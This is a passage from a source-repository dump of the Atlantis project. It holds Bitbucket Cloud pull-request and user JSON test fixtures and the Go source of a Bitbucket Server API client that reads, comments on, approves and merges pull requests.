", "type": "rendered" } }, "type": "pullrequest", "description": "main.tf edited online with Bitbucket", "links": { "decline": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/decline" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/commits" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/comments" }, "merge": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/merge" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/12" }, "activity": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/activity" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/diff" }, "approve": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/statuses" } }, "title": "main.tf edited online with Bitbucket", "close_source_branch": true, "reviewers": [], "id": 12, "destination": { "commit": { "hash": "c641f2c615ad", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c641f2c615ad" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/c641f2c615ad" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "main" } }, "created_on": "2019-02-12T16:48:04.251028+00:00", "summary": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "source": { "commit": { "hash": "75d1e7c57cd9", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/75d1e7c57cd9" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/75d1e7c57cd9" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "lkysow/maintf-edited-online-with-bitbucket-1549990080103" } }, "comment_count": 23, "state": "OPEN", "task_count": 0, "participants": [ { "role": "PARTICIPANT", "participated_on": "2019-06-03T13:51:44.122406+00:00", "type": "participant", "approved": false, "user": { "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090" } }, { "role": "PARTICIPANT", "participated_on": "2019-06-03T13:55:17.622018+00:00", "type": "participant", "approved": true, "user": { "display_name": "Atlantisbot", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b8}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D" }, "html": { "href": "https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png" } }, "nickname": "Atlantisbot", "type": "user", "account_id": "5b5097035488b9140c078f7f" } }, { "role": "PARTICIPANT", "participated_on": "2019-06-03T13:55:17.622018+00:00", "type": "participant", "approved": true, "user": { "display_name": "Atlantisbot2", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b2}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b2%7D" }, "html": { "href": "https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b2%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png" } }, "nickname": "Atlantisbot2", "type": "user", "account_id": "5b5097035488b9140c078f72" } } ], "reason": "", "updated_on": "2019-06-03T13:55:17.639190+00:00", "author": { "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090" }, "merge_commit": null, "closed_by": null } ================================================ FILE: server/events/vcs/bitbucketcloud/testdata/pull-approved.json ================================================ { "rendered": { "description": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "title": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" } }, "type": "pullrequest", "description": "main.tf edited online with Bitbucket", "links": { "decline": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/decline" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/commits" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/comments" }, "merge": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/merge" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/12" }, "activity": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/activity" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/diff" }, "approve": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/statuses" } }, "title": "main.tf edited online with Bitbucket", "close_source_branch": true, "reviewers": [], "id": 12, "destination": { "commit": { "hash": "c641f2c615ad", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c641f2c615ad" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/c641f2c615ad" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "main" } }, "created_on": "2019-02-12T16:48:04.251028+00:00", "summary": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "source": { "commit": { "hash": "75d1e7c57cd9", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/75d1e7c57cd9" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/75d1e7c57cd9" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "lkysow/maintf-edited-online-with-bitbucket-1549990080103" } }, "comment_count": 23, "state": "OPEN", "task_count": 0, "participants": [ { "role": "PARTICIPANT", "participated_on": "2019-06-03T13:51:44.122406+00:00", "type": "participant", "approved": false, "user": { "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090" } }, { "role": "PARTICIPANT", "participated_on": "2019-06-03T13:55:17.622018+00:00", "type": "participant", "approved": true, "user": { "display_name": "Atlantisbot", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b8}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D" }, "html": { "href": "https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png" } }, "nickname": "Atlantisbot", "type": "user", "account_id": "5b5097035488b9140c078f7f" } } ], "reason": "", "updated_on": "2019-06-03T13:55:17.639190+00:00", "author": { "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090" }, "merge_commit": null, "closed_by": null } ================================================ FILE: server/events/vcs/bitbucketcloud/testdata/pull-unapproved.json ================================================ { "rendered": { "description": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "title": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" } }, "type": "pullrequest", "description": "main.tf edited online with Bitbucket", "links": { "decline": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/decline" }, "commits": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/commits" }, "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12" }, "comments": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/comments" }, "merge": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/merge" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/pull-requests/12" }, "activity": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/activity" }, "diff": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/diff" }, "approve": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/approve" }, "statuses": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/pullrequests/12/statuses" } }, "title": "main.tf edited online with Bitbucket", "close_source_branch": true, "reviewers": [], "id": 12, "destination": { "commit": { "hash": "c641f2c615ad", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/c641f2c615ad" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/c641f2c615ad" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "main" } }, "created_on": "2019-02-12T16:48:04.251028+00:00", "summary": { "raw": "main.tf edited online with Bitbucket", "markup": "markdown", "html": "

main.tf edited online with Bitbucket

", "type": "rendered" }, "source": { "commit": { "hash": "75d1e7c57cd9", "type": "commit", "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example/commit/75d1e7c57cd9" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example/commits/75d1e7c57cd9" } } }, "repository": { "links": { "self": { "href": "https://api.bitbucket.org/2.0/repositories/lkysow/atlantis-example" }, "html": { "href": "https://bitbucket.org/lkysow/atlantis-example" }, "avatar": { "href": "https://bytebucket.org/ravatar/%7B94189367-116b-436a-9f77-2314b97a6067%7D?ts=default" } }, "type": "repository", "name": "atlantis-example", "full_name": "lkysow/atlantis-example", "uuid": "{94189367-116b-436a-9f77-2314b97a6067}" }, "branch": { "name": "lkysow/maintf-edited-online-with-bitbucket-1549990080103" } }, "comment_count": 23, "state": "OPEN", "task_count": 0, "participants": [ { "role": "PARTICIPANT", "participated_on": "2019-06-03T13:51:44.122406+00:00", "type": "participant", "approved": false, "user": { "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090" } }, { "role": "PARTICIPANT", "participated_on": "2019-06-03T13:51:47.350675+00:00", "type": "participant", "approved": false, "user": { "display_name": "Atlantisbot", "uuid": "{73686412-4495-426f-89a7-c69ff1c8d7b8}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D" }, "html": { "href": "https://bitbucket.org/%7B73686412-4495-426f-89a7-c69ff1c8d7b8%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/5b5097035488b9140c078f7f?by=id&sg=vyisLdHfYH10sFOuFCvPgHKn6ds%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FA-1.png" } }, "nickname": "Atlantisbot", "type": "user", "account_id": "5b5097035488b9140c078f7f" } } ], "reason": "", "updated_on": "2019-06-03T13:54:09.266101+00:00", "author": { "display_name": "Luke", "uuid": "{bf34a99b-8a11-452c-8fbc-bdffc340e584}", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D" }, "html": { "href": "https://bitbucket.org/%7Bbf34a99b-8a11-452c-8fbc-bdffc340e584%7D/" }, "avatar": { "href": "https://avatar-cdn.atlassian.com/557058%3Adc3817de-68b5-45cd-b81c-5c39d2560090?by=id&sg=TUDovBcAEFksW8FiPnLjf1IV73Y%3D&d=https%3A%2F%2Favatar-management--avatars.us-west-2.prod.public.atl-paas.net%2Finitials%2FL-1.svg" } }, "nickname": "Luke", "type": "user", "account_id": "557058:dc3817de-68b5-45cd-b81c-5c39d2560090" }, "merge_commit": null, "closed_by": null } ================================================ FILE: server/events/vcs/bitbucketcloud/testdata/user.json ================================================ { "display_name": "bb bot", "links": { "self": { "href": "https://api.bitbucket.org/2.0/users/%7B00000000-0000-0000-0000-000000000001%7D" }, "avatar": { "href": "https://avatar-management--avatars.us-west-2.prod.public.atl-paas.net/initials/RR-3.png" }, "repositories": { "href": "https://api.bitbucket.org/2.0/repositories/%7B00000000-0000-0000-0000-000000000001%7D" }, "snippets": { "href": "https://api.bitbucket.org/2.0/snippets/%7B00000000-0000-0000-0000-000000000001%7D" }, "html": { "href": "https://bitbucket.org/%7B00000000-0000-0000-0000-000000000001%7D/" }, "hooks": { "href": "https://api.bitbucket.org/2.0/workspaces/%7B00000000-0000-0000-0000-000000000001%7D/hooks" } }, "created_on": "2024-02-01T12:08:46.355300+00:00", "type": "user", "uuid": "{00000000-0000-0000-0000-000000000001}", "has_2fa_enabled": null, "username": "bb-bot", "is_staff": false, "account_id": "000000:00000000-0000-0000-0000-000000000001", "nickname": "bb bot", "account_status": "active", "location": null } ================================================ FILE: server/events/vcs/bitbucketserver/client.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package bitbucketserver import ( "bytes" "encoding/json" "fmt" "io" "net/http" "net/url" "regexp" "strings" "github.com/runatlantis/atlantis/server/events/vcs/common" "github.com/runatlantis/atlantis/server/logging" validator "github.com/go-playground/validator/v10" "github.com/runatlantis/atlantis/server/events/models" ) // maxCommentLength is the maximum number of chars allowed by Bitbucket in a // single comment. const maxCommentLength = 32768 type Client struct { httpClient *http.Client username string password string BaseURL string atlantisURL string } type DeleteSourceBranch struct { Name string `json:"name"` DryRun bool `json:"dryRun"` } // NewClient builds a bitbucket cloud client. Returns an error if the baseURL is // malformed. httpClient is the client to use to make the requests, username // and password are used as basic auth in the requests, baseURL is the API's // baseURL, ex. https://corp.com:7990. Don't include the API version, ex. // '/1.0' since that changes based on the API call. atlantisURL is the // URL for Atlantis that will be linked to from the build status icons. This // linking is annoying because we don't have anywhere good to link but a URL is // required. func NewClient(httpClient *http.Client, username string, password string, baseURL string, atlantisURL string) (*Client, error) { if httpClient == nil { httpClient = http.DefaultClient } parsedURL, err := url.Parse(baseURL) if err != nil { return nil, fmt.Errorf("parsing %s: %w", baseURL, err) } if parsedURL.Scheme == "" { return nil, fmt.Errorf("must have 'http://' or 'https://' in base url %q", baseURL) } return &Client{ httpClient: httpClient, username: username, password: password, BaseURL: strings.TrimRight(parsedURL.String(), "/"), atlantisURL: atlantisURL, }, nil } // GetModifiedFiles returns the names of files that were modified in the merge request // relative to the repo root, e.g. parent/child/file.txt. func (b *Client) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { var files []string projectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL) if err != nil { return nil, err } nextPageStart := 0 baseURL := fmt.Sprintf("%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d/changes", b.BaseURL, projectKey, repo.Name, pull.Num) // We'll only loop 1000 times as a safety measure. maxLoops := 1000 for range maxLoops { resp, err := b.makeRequest("GET", fmt.Sprintf("%s?start=%d", baseURL, nextPageStart), nil) if err != nil { return nil, err } var changes Changes if err := json.Unmarshal(resp, &changes); err != nil { return nil, fmt.Errorf("parsing response %q: %w", string(resp), err) } if err := validator.New().Struct(changes); err != nil { return nil, fmt.Errorf("response %q was missing fields: %w", string(resp), err) } for _, v := range changes.Values { files = append(files, *v.Path.ToString) // If the file was renamed, we'll want to run plan in the directory // it was moved from as well. if v.SrcPath != nil { files = append(files, *v.SrcPath.ToString) } } if *changes.IsLastPage { break } nextPageStart = *changes.NextPageStart } // Now ensure all files are unique. hash := make(map[string]bool) var unique []string for _, f := range files { if !hash[f] { unique = append(unique, f) hash[f] = true } } return unique, nil } func (b *Client) GetProjectKey(repoName string, cloneURL string) (string, error) { // Get the project key out of the repo clone URL. // Given http://bitbucket.corp:7990/scm/at/atlantis-example.git // we want to get 'at'. expr := fmt.Sprintf(".*/(.*?)/%s\\.git", repoName) capture, err := regexp.Compile(expr) if err != nil { return "", fmt.Errorf("constructing regex from %q: %w", expr, err) } matches := capture.FindStringSubmatch(cloneURL) if len(matches) != 2 { return "", fmt.Errorf("extracting project key from %q, regex returned %q", cloneURL, strings.Join(matches, ",")) } return matches[1], nil } // CreateComment creates a comment on the merge request. It will write multiple // comments if a single comment is too long. func (b *Client) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { comments := common.SplitComment(logger, comment, maxCommentLength, 0, command) for _, c := range comments { if err := b.postComment(repo, pullNum, c); err != nil { return err } } return nil } func (b *Client) ReactToComment(_ logging.SimpleLogging, _ models.Repo, _ int, _ int64, _ string) error { return nil } func (b *Client) HidePrevCommandComments(_ logging.SimpleLogging, _ models.Repo, _ int, _ string, _ string) error { return nil } // postComment actually posts the comment. It's a helper for CreateComment(). func (b *Client) postComment(repo models.Repo, pullNum int, comment string) error { bodyBytes, err := json.Marshal(map[string]string{"text": comment}) if err != nil { return fmt.Errorf("json encoding: %w", err) } projectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL) if err != nil { return err } path := fmt.Sprintf("%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d/comments", b.BaseURL, projectKey, repo.Name, pullNum) _, err = b.makeRequest("POST", path, bytes.NewBuffer(bodyBytes)) return err } // PullIsApproved returns true if the merge request was approved. func (b *Client) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (approvalStatus models.ApprovalStatus, err error) { projectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL) if err != nil { return approvalStatus, err } path := fmt.Sprintf("%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d", b.BaseURL, projectKey, repo.Name, pull.Num) resp, err := b.makeRequest("GET", path, nil) if err != nil { return approvalStatus, err } var pullResp PullRequest if err := json.Unmarshal(resp, &pullResp); err != nil { return approvalStatus, fmt.Errorf("parsing response %q: %w", string(resp), err) } if err := validator.New().Struct(pullResp); err != nil { return approvalStatus, fmt.Errorf("response %q was missing fields: %w", string(resp), err) } for _, reviewer := range pullResp.Reviewers { if *reviewer.Approved { return models.ApprovalStatus{ IsApproved: true, }, nil } } return approvalStatus, nil } func (b *Client) DiscardReviews(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) error { // TODO implement return nil } // PullIsMergeable returns true if the merge request has no conflicts and can be merged. func (b *Client) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) { projectKey, err := b.GetProjectKey(repo.Name, repo.SanitizedCloneURL) if err != nil { return models.MergeableStatus{}, err } path := fmt.Sprintf("%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d/merge", b.BaseURL, projectKey, repo.Name, pull.Num) resp, err := b.makeRequest("GET", path, nil) if err != nil { return models.MergeableStatus{}, err } var mergeStatus MergeStatus if err := json.Unmarshal(resp, &mergeStatus); err != nil { return models.MergeableStatus{}, fmt.Errorf("parsing response %q: %w", string(resp), err) } if err := validator.New().Struct(mergeStatus); err != nil { return models.MergeableStatus{}, fmt.Errorf("response %q was missing fields: %w", string(resp), err) } if *mergeStatus.CanMerge && !*mergeStatus.Conflicted { return models.MergeableStatus{ IsMergeable: true, }, nil } return models.MergeableStatus{ IsMergeable: false, }, nil } // UpdateStatus updates the status of a commit. func (b *Client) UpdateStatus(logger logging.SimpleLogging, _ models.Repo, pull models.PullRequest, status models.CommitStatus, src string, description string, url string) error { bbState := "FAILED" switch status { case models.PendingCommitStatus: bbState = "INPROGRESS" case models.SuccessCommitStatus: bbState = "SUCCESSFUL" case models.FailedCommitStatus: bbState = "FAILED" } logger.Info("Updating BitBucket commit status for '%s' to '%s'", src, bbState) // URL is a required field for bitbucket statuses. We default to the // Atlantis server's URL. if url == "" { url = b.atlantisURL } bodyBytes, err := json.Marshal(map[string]string{ "key": src, "url": url, "state": bbState, "description": description, }) path := fmt.Sprintf("%s/rest/build-status/1.0/commits/%s", b.BaseURL, pull.HeadCommit) if err != nil { return fmt.Errorf("json encoding: %w", err) } _, err = b.makeRequest("POST", path, bytes.NewBuffer(bodyBytes)) return err } // MergePull merges the pull request. func (b *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error { projectKey, err := b.GetProjectKey(pull.BaseRepo.Name, pull.BaseRepo.SanitizedCloneURL) if err != nil { return err } // We need to make a get pull request API call to get the correct "version". path := fmt.Sprintf("%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d", b.BaseURL, projectKey, pull.BaseRepo.Name, pull.Num) resp, err := b.makeRequest("GET", path, nil) if err != nil { return err } var pullResp PullRequest if err := json.Unmarshal(resp, &pullResp); err != nil { return fmt.Errorf("parsing response %q: %w", string(resp), err) } if err := validator.New().Struct(pullResp); err != nil { return fmt.Errorf("response %q was missing fields: %w", string(resp), err) } path = fmt.Sprintf("%s/rest/api/1.0/projects/%s/repos/%s/pull-requests/%d/merge?version=%d", b.BaseURL, projectKey, pull.BaseRepo.Name, pull.Num, *pullResp.Version) _, err = b.makeRequest("POST", path, nil) if err != nil { return err } if pullOptions.DeleteSourceBranchOnMerge { bodyBytes, err := json.Marshal(DeleteSourceBranch{Name: "refs/heads/" + pull.HeadBranch, DryRun: false}) if err != nil { return fmt.Errorf("json encoding: %w", err) } path = fmt.Sprintf("%s/rest/branch-utils/1.0/projects/%s/repos/%s/branches", b.BaseURL, projectKey, pull.BaseRepo.Name) _, err = b.makeRequest("DELETE", path, bytes.NewBuffer(bodyBytes)) if err != nil { return err } } return err } // MarkdownPullLink specifies the character used in a pull request comment. func (b *Client) MarkdownPullLink(pull models.PullRequest) (string, error) { return fmt.Sprintf("#%d", pull.Num), nil } // prepRequest adds auth and necessary headers. func (b *Client) prepRequest(method string, path string, body io.Reader) (*http.Request, error) { req, err := http.NewRequest(method, path, body) if err != nil { return nil, err } // Personal access tokens can be sent as basic auth or bearer bearer := "Bearer " + b.password req.Header.Add("Authorization", bearer) if body != nil { req.Header.Add("Content-Type", "application/json") } // Add this header to disable CSRF checks. // See https://confluence.atlassian.com/cloudkb/xsrf-check-failed-when-calling-cloud-apis-826874382.html req.Header.Add("X-Atlassian-Token", "no-check") return req, nil } func (b *Client) makeRequest(method string, path string, reqBody io.Reader) ([]byte, error) { req, err := b.prepRequest(method, path, reqBody) if err != nil { return nil, fmt.Errorf("constructing request: %w", err) } resp, err := b.httpClient.Do(req) if err != nil { return nil, err } defer resp.Body.Close() // nolint: errcheck requestStr := fmt.Sprintf("%s %s", method, path) if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusCreated && resp.StatusCode != 204 { respBody, _ := io.ReadAll(resp.Body) return nil, fmt.Errorf("making request %q unexpected status code: %d, body: %s", requestStr, resp.StatusCode, string(respBody)) } respBody, err := io.ReadAll(resp.Body) if err != nil { return nil, fmt.Errorf("reading response from request %q: %w", requestStr, err) } return respBody, nil } // GetTeamNamesForUser returns the names of the teams or groups that the user belongs to (in the organization the repository belongs to). func (b *Client) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) { return nil, nil } func (b *Client) SupportsSingleFileDownload(_ models.Repo) bool { return false } // GetFileContent a repository file content from VCS (which support fetch a single file from repository) // The first return value indicates whether the repo contains a file or not // if BaseRepo had a file, its content will placed on the second return value func (b *Client) GetFileContent(_ logging.SimpleLogging, _ models.Repo, _ string, _ string) (bool, []byte, error) { return false, []byte{}, fmt.Errorf("not implemented") } func (b *Client) GetCloneURL(_ logging.SimpleLogging, _ models.VCSHostType, _ string) (string, error) { return "", fmt.Errorf("not yet implemented") } func (b *Client) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) { return nil, fmt.Errorf("not yet implemented") } ================================================ FILE: 